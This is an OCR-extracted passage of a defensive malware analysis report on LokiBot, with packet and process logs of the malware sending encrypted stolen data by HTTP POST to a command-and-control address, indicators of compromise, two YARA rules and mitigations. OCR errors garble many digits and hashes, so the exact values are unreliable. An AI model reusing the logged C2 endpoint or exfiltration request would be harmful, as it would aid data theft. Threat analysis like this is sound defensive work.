4 17.265029 171.22.30.147 10.127.8.148 T 66 88 + 49174 [SYN, ACK] Seq=8 Ack=1 Win=29200 Len=8 MSS=146@ SACK PERM=1 WS=128
5 17.265372 10.127.8.148 171.22.3@.147 TCP 60 49174 » 30 [ACK] Seq=1 Ack=1 Win=65536 Len=@
6 17.269835 10.127.8.148 171.22.30.147 T 298 49174 » 88 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=244 [TCP segment of a reassembled PDU]
7 17.3e1890 171.22.30.147 10.127.0.148 T 54 80 + 49174 [ACK] Seq=1 Ack=245 Win=30336 Len=e

[+ 1 8] 17302201 16.127.8.148 171.22.30.147 HTTP. 428 POST /kelly/five/fre.php HTTP/1.8
9 17.334659 171.22.30.147 10.127.0.148 TP 54 80 + 49174 [ACK] Seq=1 Ack=619 Win=31368 Len=g

[+ 18 17.546569 171.22.38.147 18.127.8.148 HTTP 258 HTTP/1.8 484 Not Found (text/html)
11 17.546598 171.22.38.147 10.127.8.148 TCP 54 8@ + 49174 [FIN, ACK] Seq=197 Ack=619 Win=3136@ Len=@
12 17.547161 10.127.6.148 171.22.30.147 T 60 49174 » 80 [ACK] Seq=619 Ack=198 Win=65280 Len=8
13 17.547404 10.127.8.148 171.22.3@.147 TCP 6@ 49174 + 3@ [FIN, ACK] Seq=619 Ack=198 Win=6528@ Len=@

L 1a17.579572 171.22.30.147 10.127.9.148 T 54 80 » 49174 [ACK] Seq=198 Ack=620 Win=31368 Len=8

Frame 8: 428 bytes on wire (3424 bits), 428 bytes captured (3424 bits)
Ethernet IT, Src: 7a:38:97:84:24:14 (7a:38:97:84:24:14), Dst: c2:a2:31:e8:59:73 (c2:a2:31:e8:59:73)
Internet Protocol Version 4, Src: 18.127.6.148, Dst: 171.22.30.147

Transmission Control Protocol, Src Port: 49174, Dst Port: 88, Seq: 245, Ack: 1, Len: 374

[2 Reassembled TCP Segments (618 bytes): #6(344), #8(374)]

Hypertext Transfer Protocel

Figure 23- Wireshark Log Record

M Wireshark - Follow TCP Stream (tcp.stream eq 0] - dump.pcap

POST /kelly/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.88 (Charon; Inferno)
Host: 171.22.36.147

Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: BA36E926

Content-Length: 374

Connection: close

CZLERMMMLDLR e issasiaiasianas.@...0.8.E.2.8.C.6.9.D0.0.4.7.C.E.F.5.2.7.A.5.0.
Jtheg. . Fa.c.e.b.oMk%.6.mEpE. . .u 80@6g-Xpil13dD3<p. 3
4. .2.y. . nWE. .. i..x}.Ed..R. 5. .. .,Qu. ["H.h". )@ .. 0H(S. .. *i. ... ... .HTTP/1.0 484 Not Found

Date: Thu, 89 Feb 2823 11:45:59 GMT
Server: Apache

Status: 4e4 Net Found

Content-Length: 15

Connection: close

Content-Type: text/html; charset-UTF-8

File not found.

2760 @RegCoseKey  HKLM\SOFTWARE\Wow6432Node \Microsoft\Cryptography\Defaults\Provider\Microscft Strong Cryptographic Provider

2760 ANTCP Connect  WIN localdomain:49227 -> 171.22.30.147http
2760 4k TCP Send WIN localdomain:49227 -> 171.22.30.147 http
2760 4hTCP Send WIN localdomain:49227 -> 171.22.30,147 http
2760 &% Treead Create

2760 AATCP Receive  WIN- localdomain:49227 -> 171.22.30.147hitp
2760 & Thread Bxt

2760 &4 TCP Disconnect WIN- Jocaldomain:49227 -> 171.22.30,147http
2760 &% Trvead Ext

2760 & Trread Create

Figure 24- Process Monitor Log Record

It is observed that the malware first establishes a TCP connection with the IP address
"171[.]22[.]30[.]147". Then it sends the "/kelly/five/fre[.]php http/1.0 POST" request by
encrypting the data it collects on the target device. Then the TCP connection is closed.
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|OCs

IPs :

IPv4 171[.]22[.]30[.]147
IPv4 188[.]114[.]96[.]13
DOMAINS:

Domain

Ikelly/five/fre[.]Jphp

HASHSs:

MD5 6ac95d0ff18baaa2fabbbfalcbe4ffoe

MD5 b4ede3be28a02d4ad6033d5e8021e2f4

MD5 ealfaf5523c76af6706f84401b9809c0

SHA1 ¢c557fbe7b5d90e06a8620f8ecfl3c0a91dfc213c

SHA256 1b574a66c84924886daec4841e1b107258e019aaf6f336329ae
8fae7chd52a34

SHA256 4edd01345f58b9cc04a88cal5d6b82895f44f5b9ch51ad63b809
de09029670ac

SHA256 8a5a024272361bb1ae12860c033bb52685d7b0ea3bce5fac464
39f3f3ad36a84

.......................
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Kellyzx.exe Yara Rule

import "hash"
rule kellyzx
{
meta:
author = "Kerime Gencay"
date = "13/02/2023"
description = "LokiBot YARA Rule"
file_name = "kellyzx.exe"

hashl = "3BC68A0764CCC400C9A9F595E9F3EDS3E"

strings:
$stringl = "7.33.18.75" wide
$string2 = "RichEdit20W" wide
$string3 = "%s%S.dllI" wide

$opcl = {FF 15 38 81 40 00 B9 68 CE 40 00 8B FO E8 F3 38 00 00 8D 85 D4 FD
FF FF 68 00 78 43 00 50 E8 D9 2E 00 00 53 68 00 01 00 04 6A 02 53 53 8D 85
D4 FD FF FF 68 00 00 00 CO 50 FF 15 F4 80 40 00} //allocate, deobfuscate and
createfile

$opc2 ={FF 1504 81 40 00 8B C8 6A 00 41 F7 D9 1B C9 23 C8 51 FF 74 24 14
6A 00 6A 01 FF 74 24 1C FF 74 24 1C FF 15 F4 80 40 00}

condition:
uint16(0) == Ox5A4D and
(any of ($string*) or
any of ($opc*))
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hjxnj.exe Yara Rule

import "hash"

rule hjxnj

{

meta:

author = "Kerime Gencay"
date = "13/02/2023"
description = "LokiBot YARA Rule"
file_name = "hjxnj.exe"
hashl = "CF86B09B00E89238F9205E6D469BCDD6"

strings:

$debug_artifact= "C:\\xampp\\htdocs\\c5892ccff2804af39d7bac9f5f6d95bb\\Load
en\Release\\Loader.pdb"

$opcl = {FF 15 B4 90 40 00 8B FO 33 C9 3B F1 75 04 33 CO 5E C3 66 39 OE 74
10 83 C00266 3908 75F883C00266390875F0532B C68D 580257 53
E8 C8 18 00 00}

condition:

uint16(0) == 0x5A4D and

(any of ($opc*) or
1 of ($debug_artifact*))
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MITRE ATT&CK TABLE

T1012 T1071 T1222 T1047 T1055
Query Registry Web Protocols | File and Directory Create or Modify Data From
Permissions Systems Local System
T1082 T1036
Information Creates Files
Discovery inside the user
directory
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MITIGATIONS

Employ comprehensive cyber security solutions that include real-time threat
detection, behavior monitoring, and malware removal capabilities. This can help
identify and neutralize the presence of malicious files such as "kellyzx.exe™ and
"hjxnj.exe."

Ensure that all operating systems, applications, and software are up to date with the
latest security patches. Regular updates can help address vulnerabilities that
malware often exploits.

Deploy reputable antivirus and anti-malware solutions that can proactively scan and
remove malicious files. These tools can aid in detecting and eliminating threats like
kellyzx.exe before they cause harm.

Implement application whitelisting to restrict the execution of unauthorized
applications. This can prevent the launch of malicious executables like "Kellyzx.exe
and "hjxnj.exe."

Provide training to users to recognize phishing emails, suspicious links, and
attachments. User awareness can significantly reduce the likelihood of malware
infiltration through social engineering tactics.

Continuously monitor network traffic for unusual patterns and connections to known
malicious IP addresses. This can help in early detection and mitigation of malicious
activity.

If a system is compromised, isolate it from the network to prevent the malware from
spreading to other devices or servers.

Maintain regular backups of critical data. In case of an attack, having backups can
mitigate the impact of data loss.
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